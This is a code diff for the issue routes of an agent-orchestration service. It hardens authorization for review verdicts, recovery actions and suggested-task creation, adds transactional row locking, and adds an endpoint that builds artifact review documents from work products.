+    const runId = await assertAgentInteractionRunAttribution(req, res, issue);
+    if (runId === false) return false;
+    if (!(await assertIssueThreadInteractionContainmentAllowed(req, res, issue))) return false;
+    if (req.actor.type !== "agent") assertBoard(req);
+
+    const interactionSvc = issueThreadInteractionService(db);
+    const current = await interactionSvc.getForIssue(issue, interactionId);
+    const resolutionAuthorization = await assertIssueThreadInteractionResolutionAllowed(
+      req,
+      res,
+      issue,
+      current,
+      runId,
+    );
+    if (!resolutionAuthorization) return false;
+    return { interactionSvc, current, resolutionAuthorization } as const;
+  }
+
+  async function assertSuggestedTaskEffectsAllowed(
+    req: Request,
+    res: Response,
+    issue: Parameters<typeof assertAgentIssueMutationAllowed>[2] & {
+      projectId: string | null;
+    },
+    interaction: SuggestTasksInteraction,
+    selectedClientKeys: string[] | undefined,
+  ) {
+    if (req.actor.type !== "agent") return true;
+    const { selectedTasks } = resolveSelectedSuggestedTasks({ interaction, selectedClientKeys });
+    for (const task of selectedTasks) {
+      const explicitParentIssueId = task.parentId ?? interaction.payload.defaultParentId ?? issue.id;
+      const parent = explicitParentIssueId === issue.id
+        ? issue
+        : await svc.getById(explicitParentIssueId);
+      if (!parent || parent.companyId !== issue.companyId) {
+        return denyIssueThreadInteractionResolution(res, {
+          status: 403,
+          code: "interaction_governed_action_denied",
+          message: "Suggested-task creation is outside the resolver's authorized issue scope",
+        });
+      }
+      try {
+        const watchdogScope = await resolveTaskWatchdogMutationScope(db, req.actor);
+        if (watchdogScope.kind === "invalid") {
+          return denyIssueThreadInteractionResolution(res, {
+            status: 403,
+            code: "interaction_governed_action_denied",
+            message: "Suggested-task creation is outside the current watchdog scope",
+          });
+        }
+        if (watchdogScope.kind !== "none") {
+          const scopeResult = await taskWatchdogScopeAllowsIssueMutation(
+            db,
+            watchdogScope,
+            parent,
+            { allowWatchdogIssue: false },
+          );
+          if (scopeResult.kind === "invalid") {
+            return denyIssueThreadInteractionResolution(res, {
+              status: 403,
+              code: "interaction_governed_action_denied",
+              message: "Suggested-task creation is outside the current watchdog scope",
+            });
+          }
+          const revalidated = await taskWatchdogsSvc.revalidateMutationScope(watchdogScope);
+          if (!revalidated.allowed) {
+            return denyIssueThreadInteractionResolution(res, {
+              status: 403,
+              code: "interaction_governed_action_denied",
+              message: "Suggested-task creation is outside the current watchdog scope",
+            });
+          }
+        }
+        await assertTaskBridgeCreateAllowed(req, issue.companyId, {
+          projectId: task.projectId ?? issue.projectId,
+          parentIssueId: parent.id,
+          assigneeAgentId: task.assigneeAgentId ?? null,
+          assigneeUserId: task.assigneeUserId ?? null,
+        });
+        if (task.assigneeAgentId || task.assigneeUserId) {
+          await assertCanAssignTasks(req, issue.companyId, {
+            projectId: task.projectId ?? issue.projectId,
+            parentIssueId: parent.id,
+            assigneeAgentId: task.assigneeAgentId ?? null,
+            assigneeUserId: task.assigneeUserId ?? null,
+          });
+        }
+      } catch (error) {
+        if (!(error instanceof HttpError) || error.status !== 403) throw error;
+        return denyIssueThreadInteractionResolution(res, {
+          status: 403,
+          code: "interaction_governed_action_denied",
+          message: "Suggested-task creation requires independent authorization for every selected task",
+        });
+      }
     }
     return true;
   }
 
-  async function isPendingReviewConfirmationVerdict(
+  async function resolvePendingReviewInteractionRestriction(
     issue: {
       id: string;
       companyId: string;
       status: string;
+      reviewPolicy?: IssueReviewPolicy | null;
+      createdByAgentId?: string | null;
+      createdByUserId?: string | null;
+    },
+    interaction: {
+      id: string;
+      kind: string;
+      status: string;
+      createdByAgentId?: string | null;
+      createdByUserId?: string | null;
+    },
+  ): Promise<{
+    restriction: IssueThreadInteractionCanonicalResolverPolicy | IssueThreadInteractionResolverRestriction;
+    binding: "explicit" | "legacy";
+  } | null> {
+    if (
+      issue.status !== "in_review"
+      || interaction.status !== "pending"
+      || (
+        interaction.kind !== "request_confirmation"
+        && interaction.kind !== "request_checkbox_confirmation"
+      )
+    ) return null;
+    if (!(await isIssueReviewVerdictInteraction(db, { issue, interaction }))) return null;
+    const requester = await resolveIssueReviewRequester(db, issue);
+    const binding = requester?.reviewInteractionId === interaction.id ? "explicit" : "legacy";
+    if (issue.reviewPolicy == null || issue.reviewPolicy === "anyone") {
+      return { restriction: "anyone", binding };
+    }
+    if (issue.reviewPolicy === "human_only") {
+      return { restriction: { policy: "human_only", source: "issue_review" }, binding };
+    }
+    return {
+      restriction: {
+        policy: "not_creator",
+        source: "issue_review",
+        excludedActor: requester ? { type: requester.type, id: requester.id } : null,
+      },
+      binding,
+    };
+  }
+
+  async function assertPendingReviewInteractionVerdictAllowed(
+    req: Request,
+    issue: {
+      id: string;
+      companyId: string;
+      status: string;
+      reviewPolicy?: IssueReviewPolicy | null;
       createdByAgentId?: string | null;
       createdByUserId?: string | null;
     },
@@ -4224,28 +4557,10 @@ export function issueRoutes(
         interaction.kind !== "request_confirmation"
         && interaction.kind !== "request_checkbox_confirmation"
       )
-    ) return false;
-    return isIssueReviewVerdictInteraction(db, { issue, interaction });
-  }
-
-  async function assertPendingReviewInteractionVerdictAllowed(
-    req: Request,
-    issue: {
-      id: string;
-      companyId: string;
-      status: string;
-      reviewPolicy?: IssueReviewPolicy | null;
-      createdByAgentId?: string | null;
-      createdByUserId?: string | null;
-    },
-    interaction: { status: string },
-  ) {
-    if (
-      issue.status !== "in_review"
-      || interaction.status !== "pending"
       || issue.reviewPolicy == null
       || issue.reviewPolicy === "anyone"
     ) return;
+    if (!(await isIssueReviewVerdictInteraction(db, { issue, interaction }))) return;
     const actor = getActorInfo(req);
     await assertIssueReviewVerdictActorAllowed(db, {
       issue,
@@ -4264,19 +4579,8 @@ export function issueRoutes(
       return true;
     }
     const actorAgentId = req.actor.agentId;
-    if (!actorAgentId || !requireAgentRunId(req, res)) return false;
-
-    const watchdogScope = await resolveTaskWatchdogMutationScope(db, req.actor);
-    if (watchdogScope.kind !== "none") {
-      res.status(403).json({ error: "Task-watchdog runs cannot withdraw issue-thread interactions" });
-      return false;
-    }
-    const boundaryDecision = await decideIssueAccess(req, issue, "issue:mutate");
-    if (!boundaryDecision.allowed) {
-      res.status(403).json({ error: "Issue is outside this actor's authorization boundary" });
-      return false;
-    }
-    if (await assertLowTrustControlPlaneDenied(req, res, issue.companyId, issue)) return false;
+    if (!actorAgentId || await assertAgentInteractionRunAttribution(req, res, issue) === false) return false;
+    if (!(await assertIssueThreadInteractionContainmentAllowed(req, res, issue))) return false;
 
     const isCreator = interaction.createdByAgentId === actorAgentId;
     const isAssignee = issue.assigneeAgentId === actorAgentId;
@@ -4824,9 +5128,8 @@ export function issueRoutes(
     return false;
   }
 
-  async function assertRecoveryActionAuthority(
+  async function requireRecoveryActionAuthority(
     req: Request,
-    res: Response,
     issue: { id: string; companyId: string; assigneeAgentId: string | null },
     activeRecoveryAction: Awaited<ReturnType<typeof recoveryActionsSvc.getActiveForIssue>>,
     input: { source: "issue_update" | "recovery_action_resolution" },
@@ -4836,8 +5139,7 @@ export function issueRoutes(
 
     const actorAgentId = req.actor.agentId;
     if (!actorAgentId) {
-      res.status(403).json({ error: "Agent authentication required" });
-      return false;
+      throw forbidden("Agent authentication required");
     }
     if (issue.assigneeAgentId === actorAgentId) return true;
     if (
@@ -4854,9 +5156,9 @@ export function issueRoutes(
       return true;
     }
 
-    res.status(403).json({
-      error: "Agent cannot resolve another owner's recovery action",
-      details: {
+    throw forbidden(
+      "Agent cannot resolve another owner's recovery action",
+      {
         issueId: issue.id,
         recoveryActionId: activeRecoveryAction.id,
         actorAgentId,
@@ -4865,8 +5167,157 @@ export function issueRoutes(
         source: input.source,
         securityPrinciples: ["Least Privilege", "Complete Mediation", "Secure Defaults"],
       },
-    });
-    return false;
+    );
+  }
+
+  function activeExecutionParticipantAgentId(issue: { executionState?: unknown }) {
+    const state = parseIssueExecutionState(issue.executionState);
+    return state?.status === "pending" && state.currentParticipant?.type === "agent"
+      ? state.currentParticipant.agentId
+      : null;
+  }
+
+  async function requireRecoverySourceMutationAuthority(
+    req: Request,
+    issue: {
+      id: string;
+      companyId: string;
+      status: string;
+      assigneeAgentId: string | null;
+      checkoutRunId?: string | null;
+      executionRunId?: string | null;
+      executionState?: unknown;
+    },
+  ) {
+    if (req.actor.type !== "agent") return;
+    const actorAgentId = req.actor.agentId;
+    if (!actorAgentId) throw forbidden("Agent authentication required");
+
+    const isSourceOwner = issue.assigneeAgentId === actorAgentId;
+    const isExecutionParticipant = activeExecutionParticipantAgentId(issue) === actorAgentId;
+    const hasPolicyGrant = Boolean(
+      issue.assigneeAgentId &&
+      await hasActiveCheckoutManagementOverride(actorAgentId, issue.companyId, issue.assigneeAgentId)
+    );
+    if (!isSourceOwner && !isExecutionParticipant && !hasPolicyGrant) {
+      throw forbidden(
+        "Recovery ownership does not authorize this source issue mutation",
+        {
+          code: "recovery_source_authority_required",
+          issueId: issue.id,
+          actorAgentId,
+          assigneeAgentId: issue.assigneeAgentId,
+          currentExecutionParticipantAgentId: activeExecutionParticipantAgentId(issue),
+          remediation:
+            "Have the source owner, current execution participant, board, or a policy-authorized agent perform the source mutation.",
+          securityPrinciples: ["Least Privilege", "Complete Mediation", "Secure Defaults"],
+        },
+      );
+    }
+
+    const actorRunId = req.actor.runId?.trim() || null;
+    const conflictingRunId = [issue.checkoutRunId, issue.executionRunId]
+      .find((runId) => runId && runId !== actorRunId);
+    if (conflictingRunId && !hasPolicyGrant) {
+      throw conflict("Source issue mutation is locked by another active checkout or run", {
+        code: "recovery_source_run_lock",
+        issueId: issue.id,
+        actorAgentId,
+        actorRunId,
+        checkoutRunId: issue.checkoutRunId ?? null,
+        executionRunId: issue.executionRunId ?? null,
+      });
+    }
+    if (isSourceOwner && issue.status === "in_progress" && !actorRunId && !hasPolicyGrant) {
+      throw unauthorized("Agent run id required");
+    }
+  }
+
+  async function assertSafeRecoveryHandBackGates(input: {
+    req: Request;
+    issue: {
+      id: string;
+      companyId: string;
+      projectId: string | null;
+      assigneeAgentId: string | null;
+      checkoutRunId?: string | null;
+      executionRunId?: string | null;
+      executionState?: unknown;
+    };
+    recoveryAction: NonNullable<Awaited<ReturnType<typeof recoveryActionsSvc.getActiveForIssue>>>;
+  }) {
+    const returnOwnerAgentId = input.recoveryAction.returnOwnerAgentId;
+    if (!returnOwnerAgentId || input.issue.assigneeAgentId !== returnOwnerAgentId) {
+      throw forbidden(
+        "Safe recovery hand-back requires the recorded original owner to remain assigned",
+        {
+          code: "recovery_safe_hand_back_owner_mismatch",
+          issueId: input.issue.id,
+          assigneeAgentId: input.issue.assigneeAgentId,
+          returnOwnerAgentId,
+        },
+      );
+    }
+    const actorRunId = input.req.actor.type === "agent"
+      ? input.req.actor.runId?.trim() || null
+      : null;
+    const conflictingRunId = [input.issue.checkoutRunId, input.issue.executionRunId]
+      .find((runId) => runId && runId !== actorRunId);
+    if (conflictingRunId) {
+      throw conflict("Safe recovery hand-back is locked by another active checkout or run", {
+        code: "recovery_source_run_lock",
+        issueId: input.issue.id,
+        actorRunId,
+        checkoutRunId: input.issue.checkoutRunId ?? null,
+        executionRunId: input.issue.executionRunId ?? null,
+      });
+    }
+    if (parseIssueExecutionState(input.issue.executionState)?.status === "pending") {
+      throw conflict("Safe recovery hand-back cannot bypass a pending execution review or approval stage", {
+        code: "recovery_governed_stage_pending",
+        issueId: input.issue.id,
+      });
+    }
+
+    const activePauseHold = await treeControlSvc.getActivePauseHoldGate(input.issue.companyId, input.issue.id);
+    if (activePauseHold) {
+      throw conflict("Safe recovery hand-back blocked by active subtree pause hold", {
+        issueId: input.issue.id,
+        holdId: activePauseHold.holdId,
+        rootIssueId: activePauseHold.rootIssueId,
+        mode: activePauseHold.mode,
+      });
+    }
+    if (input.issue.projectId) {
+      const project = await projectsSvc.getById(input.issue.projectId);
+      if (project?.pausedAt) {
+        throw conflict(
+          project.pauseReason === "budget"
+            ? "Project is paused because its budget hard-stop was reached"
+            : "Project is paused",
+        );
+      }
+    }
+    const approvals = await issueApprovalsSvc.listApprovalsForIssue(input.issue.id);
+    if (approvals.some((approval) => ACTIVE_REVIEW_APPROVAL_STATUSES.has(String(approval.status)))) {
+      throw conflict("Safe recovery hand-back cannot bypass a pending governed approval", {
+        code: "recovery_governed_approval_pending",
+        issueId: input.issue.id,
+      });
+    }
+    const budgetBlock = await budgetService(db).getInvocationBlock(
+      input.issue.companyId,
+      returnOwnerAgentId,
+      { issueId: input.issue.id, projectId: input.issue.projectId },
+    );
+    if (budgetBlock) {
+      throw conflict("Safe recovery hand-back is blocked by the source owner's budget or pause gate", {
+        code: "recovery_safe_hand_back_budget_blocked",
+        issueId: input.issue.id,
+        returnOwnerAgentId,
+        budgetBlock,
+      });
+    }
   }
 
   async function resolveActiveIssueRun(issue: {
@@ -5317,6 +5768,7 @@ export function issueRoutes(
       startedAt: service.startedAt,
       stoppedAt: service.stoppedAt,
       healthStatus: service.healthStatus,
+      exposure: service.exposure ?? null,
       configIndex: service.configIndex ?? null,
     };
   }
@@ -6386,18 +6838,16 @@ export function issueRoutes(
     const id = req.params.id as string;
     const existing = await getAccessibleResource(req, res, svc.getById(id), "Issue not found");
     if (!existing) return;
-    if (!(await assertAgentIssueMutationAllowed(req, res, existing))) return;
-    const activeRecoveryAction = await recoveryActionsSvc.getActiveForIssue(existing.companyId, existing.id);
-    if (
-      !(await assertRecoveryActionAuthority(
-        req,
-        res,
-        existing,
-        activeRecoveryAction,
-        { source: "recovery_action_resolution" },
-      ))
-    ) {
-      return;
+    if (!(await assertIssueReadAllowed(req, res, existing))) return;
+    if (await assertLowTrustControlPlaneDenied(req, res, existing.companyId, existing)) return;
+    if (req.actor.type === "agent") {
+      const boundaryDecision = await decideIssueAccess(req, existing, "issue:mutate");
+      if (!boundaryDecision.allowed) {
+        await denyIssueWrite(req, res, existing, issueWriteDenialCodeForDecision(boundaryDecision));
+        return;
+      }
+      if (!requireAgentRunId(req, res)) return;
+      if (!(await assertCrossIssueInfluenceWithinRunCap(req, res, existing, "update"))) return;
     }
 
     const { actionId, outcome, sourceIssueStatus, resolutionNote } = req.body;
@@ -6406,28 +6856,35 @@ export function issueRoutes(
     }
 
     const actor = getActorInfo(req);
-    const handBackAgentId = outcome === "restored" && sourceIssueStatus === "todo"
-      ? activeRecoveryAction?.returnOwnerAgentId ?? null
-      : null;
-    const recordedOutcome = handBackAgentId
-      ? "handed_back"
-      : outcome === "restored" && sourceIssueStatus === "done"
-        ? "owner_completed"
-        : outcome;
-    const updateFields = sourceIssueStatus ? { status: sourceIssueStatus } : {};
-    await assertAgentInReviewReviewPath({
-      existing,
-      updateFields,
-      actorType: req.actor.type,
-      actorAgentId: actor.agentId,
-      actorRunId: actor.runId,
-    });
-
     const actionStatus = outcome === "cancelled" ? "cancelled" : "resolved";
     const postCommitActivityPublications: ActivityPublication[] = [];
     const result = await db.transaction(async (tx) => {
-      let issue = existing;
-      if (outcome === "blocked") {
+      const lockedIssue = await tx
+        .select()
+        .from(issueRows)
+        .where(and(eq(issueRows.companyId, existing.companyId), eq(issueRows.id, existing.id)))
+        .for("update")
+        .then((rows) => rows[0] ?? null);
+      if (!lockedIssue) throw notFound("Issue not found");
+
+      const activeRecoveryAction = await recoveryActionsSvc.getActiveForIssue(
+        lockedIssue.companyId,
+        lockedIssue.id,
+        tx,
+      );
+      if (!activeRecoveryAction || (actionId && activeRecoveryAction.id !== actionId)) {
+        throw notFound("Active recovery action not found");
+      }
+      await requireRecoveryActionAuthority(
+        req,
+        lockedIssue,
+        activeRecoveryAction,
+        { source: "recovery_action_resolution" },
+      );
+
+      let issue = lockedIssue;
+      const sourceStatusChanged = sourceIssueStatus !== lockedIssue.status;
+      if (outcome === "blocked" && sourceStatusChanged) {
         const unresolvedBlockers = await tx
           .select({ id: issueRows.id })
           .from(issueRelations)
@@ -6446,12 +6903,85 @@ export function issueRoutes(
         }
       }
 
-      if (sourceIssueStatus) {
+      if (sourceStatusChanged) {
+        const safeHandBack =
+          outcome === "restored" &&
+          sourceIssueStatus === "todo" &&
+          activeRecoveryAction.returnOwnerAgentId != null &&
+          lockedIssue.assigneeAgentId === activeRecoveryAction.returnOwnerAgentId;
+        if (safeHandBack) {
+          await assertSafeRecoveryHandBackGates({
+            req,
+            issue: lockedIssue,
+            recoveryAction: activeRecoveryAction,
+          });
+        } else {
+          await requireRecoverySourceMutationAuthority(req, lockedIssue);
+        }
+
+        if (
+          lockedIssue.status === "in_review" &&
+          (sourceIssueStatus === "done" || sourceIssueStatus === "cancelled") &&
+          lockedIssue.reviewPolicy != null &&
+          lockedIssue.reviewPolicy !== "anyone"
+        ) {
+          await assertIssueReviewVerdictActorAllowed(tx as unknown as Db, {
+            issue: lockedIssue,
+            actor: { type: actor.actorType, id: actor.actorId },
+          });
+        }
+
+        const updateFields: Record<string, unknown> = { status: sourceIssueStatus };
+        if (!safeHandBack) {
+          await assertInReviewReviewPath({
+            existing: lockedIssue,
+            updateFields,
+            actorType: actor.actorType,
+            actorId: actor.actorId,
+            actorAgentId: actor.agentId,
+            actorRunId: actor.runId,
+          });
+          const executionPolicy = normalizeIssueExecutionPolicy(lockedIssue.executionPolicy ?? null);
+          const transition = applyIssueExecutionPolicyTransition({
+            issue: lockedIssue,
+            policy: executionPolicy,
+            previousPolicy: executionPolicy,
+            requestedStatus: sourceIssueStatus,
+            requestedAssigneePatch: {},
+            actor: {
+              agentId: actor.agentId ?? null,
+              userId: actor.actorType === "user" ? actor.actorId : null,
+            },
+            allowBoardOverride: req.actor.type === "board",
+            commentBody: resolutionNote ?? null,
+          });
+          Object.assign(updateFields, transition.patch);
+          if (transition.decision) {
+            const decisionId = randomUUID();
+            const nextExecutionState = updateFields.executionState;
+            if (!nextExecutionState || typeof nextExecutionState !== "object") {
+              throw new Error("Execution policy decision patch is missing executionState");
+            }
+            updateFields.executionState = { ...nextExecutionState, lastDecisionId: decisionId };
+            await tx.insert(issueExecutionDecisions).values({
+              id: decisionId,
+              companyId: lockedIssue.companyId,
+              issueId: lockedIssue.id,
+              stageId: transition.decision.stageId,
+              stageType: transition.decision.stageType,
+              actorAgentId: actor.agentId ?? null,
+              actorUserId: actor.actorType === "user" ? actor.actorId : null,
+              outcome: transition.decision.outcome,
+              body: transition.decision.body,
+              createdByRunId: actor.runId ?? null,
+            });
+          }
+        }
+
         const updatedIssue = await svc.update(
           id,
           {
-            status: sourceIssueStatus,
-            ...(handBackAgentId ? { assigneeAgentId: handBackAgentId } : {}),
+            ...updateFields,
             actorAgentId: actor.agentId ?? null,
             actorUserId: actor.actorType === "user" ? actor.actorId : null,
           },
@@ -6462,11 +6992,20 @@ export function issueRoutes(
         issue = updatedIssue;
       }
 
+      const recordedOutcome =
+        outcome === "restored" && issue.status === "todo" &&
+          activeRecoveryAction.returnOwnerAgentId != null &&
+          issue.assigneeAgentId === activeRecoveryAction.returnOwnerAgentId
+          ? "handed_back"
+          : outcome === "restored" && issue.status === "done"
+            ? "owner_completed"
+            : outcome;
+
       const recoveryAction = await recoveryActionsSvc.resolveActiveForIssue(
         {
           companyId: existing.companyId,
           sourceIssueId: existing.id,
-          actionId: actionId ?? null,
+          actionId: activeRecoveryAction.id,
           status: actionStatus,
           outcome: recordedOutcome,
           resolutionNote: resolutionNote ?? null,
@@ -7353,9 +7892,110 @@ export function issueRoutes(
       actor,
       workProductChanged: true,
     });
+    await materializeArtifactReviewDocumentBestEffort({ issue, workProduct: product, actor });
     res.status(201).json(product);
   });
 
+  async function ensureArtifactReviewDocumentForWorkProduct(input: {
+    issue: NonNullable<Awaited<ReturnType<typeof svc.getById>>>;
+    workProduct: NonNullable<Awaited<ReturnType<typeof workProductsSvc.getById>>>;
+    actor: ReturnType<typeof getActorInfo>;
+  }) {
+    const { issue, workProduct, actor } = input;
+    const result = await artifactReviewDocumentsSvc.ensureForWorkProduct({
+      issue: { id: issue.id, companyId: issue.companyId },
+      workProduct,
+    });
+    if (!result.revisionChanged) return result;
+    const doc = result.document;
+    await issueReferencesSvc.syncDocument(doc.id);
+    await externalObjectsSvc.syncDocumentSafely(doc.id);
+    await logActivity(db, {
+      companyId: issue.companyId,
+      actorType: actor.actorType,
+      actorId: actor.actorId,
+      agentId: actor.agentId,
+      runId: actor.runId,
+      agentApiKeyId: actor.agentApiKeyId,
+      action: result.created ? "issue.document_created" : "issue.document_updated",
+      entityType: "issue",
+      entityId: issue.id,
+      details: {
+        key: doc.key,
+        documentId: doc.id,
+        title: doc.title,
+        format: doc.format,
+        revisionNumber: doc.latestRevisionNumber,
+        workProductId: workProduct.id,
+        artifactReviewDocument: true,
+      },
+    });
+    for (const remap of result.remappedAnnotations) {
+      await logActivity(db, {
+        companyId: issue.companyId,
+        actorType: actor.actorType,
+        actorId: actor.actorId,
+        agentId: actor.agentId,
+        runId: actor.runId,
+        agentApiKeyId: actor.agentApiKeyId,
+        action: "issue.document_annotation_remapped",
+        entityType: "issue",
+        entityId: issue.id,
+        details: {
+          key: doc.key,
+          documentId: doc.id,
+          threadId: remap.thread.id,
+          revisionNumber: doc.latestRevisionNumber,
+          anchorState: remap.thread.anchorState,
+          anchorConfidence: remap.thread.anchorConfidence,
+          snapshotId: remap.snapshot.id,
+        },
+      });
+    }
+    await revalidateActiveSourceRecoveryAfterCommittedWrite({
+      issue,
+      trigger: "document",
+      actor,
+      documentChanged: true,
+    });
+    return result;
+  }
+
+  async function materializeArtifactReviewDocumentBestEffort(input: {
+    issue: NonNullable<Awaited<ReturnType<typeof svc.getById>>>;
+    workProduct: NonNullable<Awaited<ReturnType<typeof workProductsSvc.getById>>>;
+    actor: ReturnType<typeof getActorInfo>;
+  }) {
+    if (!isMarkdownArtifactWorkProduct(input.workProduct)) return;
+    try {
+      await ensureArtifactReviewDocumentForWorkProduct(input);
+    } catch (error) {
+      // Work-product writes stay fail-open: raw open and download remain
+      // available, and the explicit review-document endpoint is the retry path.
+      logger.warn(
+        { err: error, issueId: input.issue.id, workProductId: input.workProduct.id },
+        "markdown work product review-document materialization failed",
+      );
+    }
+  }
+
+  router.post("/issues/:id/work-products/:workProductId/review-document", async (req, res) => {
+    const id = req.params.id as string;
+    const workProductId = req.params.workProductId as string;
+    const issue = await getAccessibleResource(req, res, svc.getById(id), "Issue not found");
+    if (!issue) return;
+    if (!(await assertAgentIssueMutationAllowed(req, res, issue))) return;
+    if (!(await assertDeliverableMutationAllowedByRunContext(req, res, issue))) return;
+    const workProduct = await workProductsSvc.getById(workProductId);
+    if (!workProduct || workProduct.issueId !== issue.id || workProduct.companyId !== issue.companyId) {
+      res.status(404).json({ error: "Work product not found" });
+      return;
+    }
+    const actor = getActorInfo(req);
+    const result = await ensureArtifactReviewDocumentForWorkProduct({ issue, workProduct, actor });
+    res.status(result.created ? 201 : 200).json(result.document);
+  });
+
   router.post("/issues/:id/low-trust/promotions", validate(promoteLowTrustOutputSchema), async (req, res) => {
     const id = req.params.id as string;
     const issue = await getAccessibleResource(req, res, svc.getById(id), "Issue not found");
@@ -7552,6 +8192,11 @@ export function issueRoutes(
       actor,
       workProductChanged: true,
     });
+    const reviewDocumentInputChanged = ["type", "provider", "metadata", "title", "createdByRunId"]
+      .some((key) => Object.prototype.hasOwnProperty.call(patch, key));
+    if (reviewDocumentInputChanged || sourceTrust) {
+      await materializeArtifactReviewDocumentBestEffort({ issue, workProduct: product, actor });
+    }
     res.json(product);
   });
 
@@ -7824,7 +8469,7 @@ export function issueRoutes(
     res.json({ ok: true });
   });
 
-  router.post("/companies/:companyId/issues", applyCreateIssueStatusDefault, validate(createIssueSchema), async (req, res) => {
+  router.post("/companies/:companyId/issues", applyCreateIssueStatusDefault, validateIssueMutationBody(createIssueSchema), async (req, res) => {
     const companyId = req.params.companyId as string;
     assertCompanyAccess(req, companyId);
     if (isSkillTestScopedActor(req)) {
@@ -8161,7 +8806,7 @@ export function issueRoutes(
     });
   });
 
-  router.post("/issues/:id/children", applyCreateIssueStatusDefault, validate(createChildIssueSchema), async (req, res) => {
+  router.post("/issues/:id/children", applyCreateIssueStatusDefault, validateIssueMutationBody(createChildIssueSchema), async (req, res) => {
     const parentId = req.params.id as string;
     const parent = await getAccessibleResource(req, res, svc.getById(parentId), "Parent issue not found");
     if (!parent) return;
@@ -8343,7 +8988,7 @@ export function issueRoutes(
     res.json(decompositions);
   });
 
-  router.post("/issues/:id/accepted-plan-decompositions", validate(createAcceptedPlanDecompositionSchema), async (req, res) => {
+  router.post("/issues/:id/accepted-plan-decompositions", validateIssueMutationBody(createAcceptedPlanDecompositionSchema), async (req, res) => {
     const sourceIssueId = req.params.id as string;
     const sourceIssue = await getAccessibleResource(req, res, svc.getById(sourceIssueId), "Issue not found");
     if (!sourceIssue) return;
@@ -8712,7 +9357,7 @@ export function issueRoutes(
     },
   );
 
-  router.patch("/issues/:id", validate(updateIssueRouteSchema), async (req, res) => {
+  router.patch("/issues/:id", validateIssueMutationBody(updateIssueRouteSchema), async (req, res) => {
     const id = req.params.id as string;
     const existing = await getAccessibleResource(req, res, svc.getById(id), "Issue not found");
     if (!existing) return;
@@ -8764,19 +9409,25 @@ export function issueRoutes(
       onBehalfOfUserId: _requestedOnBehalfOfUserId,
       ...updateFields
     } = req.body;
-    const effectiveReviewPolicy = req.body.reviewPolicy === undefined
-      ? existing.reviewPolicy
-      : req.body.reviewPolicy;
-    if (
+    const reviewPolicyChangeRequested =
+      req.body.reviewPolicy !== undefined
+      && req.body.reviewPolicy !== existing.reviewPolicy;
+    const reviewVerdictRequested =
       existing.status === "in_review"
-      && (updateFields.status === "done" || updateFields.status === "cancelled")
-      && effectiveReviewPolicy != null
-      && effectiveReviewPolicy !== "anyone"
+      && (updateFields.status === "done" || updateFields.status === "cancelled");
+    const reviewPolicySensitiveMutationRequested =
+      req.body.reviewPolicy !== undefined
+      || updateFields.status === "done"
+      || updateFields.status === "cancelled";
+    if (
+      (reviewVerdictRequested || reviewPolicyChangeRequested)
+      && existing.reviewPolicy != null
+      && existing.reviewPolicy !== "anyone"
     ) {
       await assertIssueReviewVerdictActorAllowed(db, {
         issue: existing,
         actor: { type: actor.actorType, id: actor.actorId },
-        reviewPolicy: effectiveReviewPolicy,
+        reviewPolicy: existing.reviewPolicy,
       });
     }
     const shouldCancelActiveRunForCancelledStatus =
@@ -8819,17 +9470,29 @@ export function issueRoutes(
     const activeRecoveryActionBeforeUpdate = recoveryRelevantSourceMutationRequested
       ? await recoveryActionsSvc.getActiveForIssue(existing.companyId, existing.id)
       : null;
-    if (
-      recoveryRelevantSourceMutationRequested &&
-      !(await assertRecoveryActionAuthority(
+    if (recoveryRelevantSourceMutationRequested) {
+      await requireRecoveryActionAuthority(
         req,
-        res,
         existing,
         activeRecoveryActionBeforeUpdate,
         { source: "issue_update" },
-      ))
-    ) {
-      return;
+      );
+      const recoveryRestrictedSourceMutationRequested =
+        activeRecoveryActionBeforeUpdate != null &&
+        (
+          updateFields.status === "done" ||
+          updateFields.status === "cancelled" ||
+          normalizedAssigneeAgentId !== undefined ||
+          req.body.assigneeUserId !== undefined ||
+          (
+            activeExecutionParticipantAgentId(existing) != null &&
+            typeof updateFields.status === "string" &&
+            updateFields.status !== existing.status
+          )
+        );
+      if (recoveryRestrictedSourceMutationRequested) {
+        await requireRecoverySourceMutationAuthority(req, existing);
+      }
     }
     if (
       resumeRequested !== true &&
@@ -9097,14 +9760,19 @@ export function issueRoutes(
       }
     }
 
-    const reviewInteractionId = await assertAgentInReviewReviewPath({
+    const reviewInteractionId = await assertInReviewReviewPath({
       existing,
       updateFields,
-      actorType: req.actor.type,
+      actorType: actor.actorType,
+      actorId: actor.actorId,
       actorAgentId: actor.agentId,
       actorRunId: actor.runId,
       reviewInteractionId: requestedReviewInteractionId,
     });
+    const enteringReviewRequested =
+      existing.status !== "in_review" && updateFields.status === "in_review";
+    const persistReviewActivityTransactionally =
+      enteringReviewRequested || Boolean(reviewInteractionId);
 
     const nextAssigneeAgentId =
       updateFields.assigneeAgentId === undefined ? existing.assigneeAgentId : (updateFields.assigneeAgentId as string | null);
@@ -9183,11 +9851,35 @@ export function issueRoutes(
         ? svc.update(id, issueUpdateData, db, postCommitActivityPublications)
         : svc.update(id, issueUpdateData);
     };
-    const persistBoundReviewActivity = async (
+    const assertLockedReviewPolicyAllowsMutation = async (
+      tx: Parameters<typeof svc.update>[2],
+    ) => {
+      const lockedExisting = await svc.getByIdForUpdate(id, tx);
+      if (!lockedExisting) return false;
+      const lockedPolicyChangeRequested =
+        req.body.reviewPolicy !== undefined
+        && req.body.reviewPolicy !== lockedExisting.reviewPolicy;
+      const lockedReviewVerdictRequested =
+        lockedExisting.status === "in_review"
+        && (updateFields.status === "done" || updateFields.status === "cancelled");
+      if (
+        (lockedReviewVerdictRequested || lockedPolicyChangeRequested)
+        && lockedExisting.reviewPolicy != null
+        && lockedExisting.reviewPolicy !== "anyone"
+      ) {
+        await assertIssueReviewVerdictActorAllowed(tx as unknown as Db, {
+          issue: lockedExisting,
+          actor: { type: actor.actorType, id: actor.actorId },
+          reviewPolicy: lockedExisting.reviewPolicy,
+        });
+      }
+      return true;
+    };
+    const persistReviewTransitionActivity = async (
       tx: Parameters<typeof svc.update>[2],
       updated: NonNullable<Awaited<ReturnType<typeof svc.update>>>,
     ) => {
-      if (!reviewInteractionId) return;
+      if (!persistReviewActivityTransactionally) return;
       const changes = updated.changes ?? {};
       const previous = Object.fromEntries(
         Object.entries(changes).map(([key, change]) => [key, change.from]),
@@ -9208,7 +9900,7 @@ export function issueRoutes(
           identifier: updated.identifier,
           authorizationReason: issueMutationAuthorizationReason,
           changes,
-          reviewInteractionId,
+          ...(reviewInteractionId ? { reviewInteractionId } : {}),
           ...(commentBody ? { source: "comment" } : {}),
           ...(resumeRequested === true ? { resumeIntent: true, followUpRequested: true } : {}),
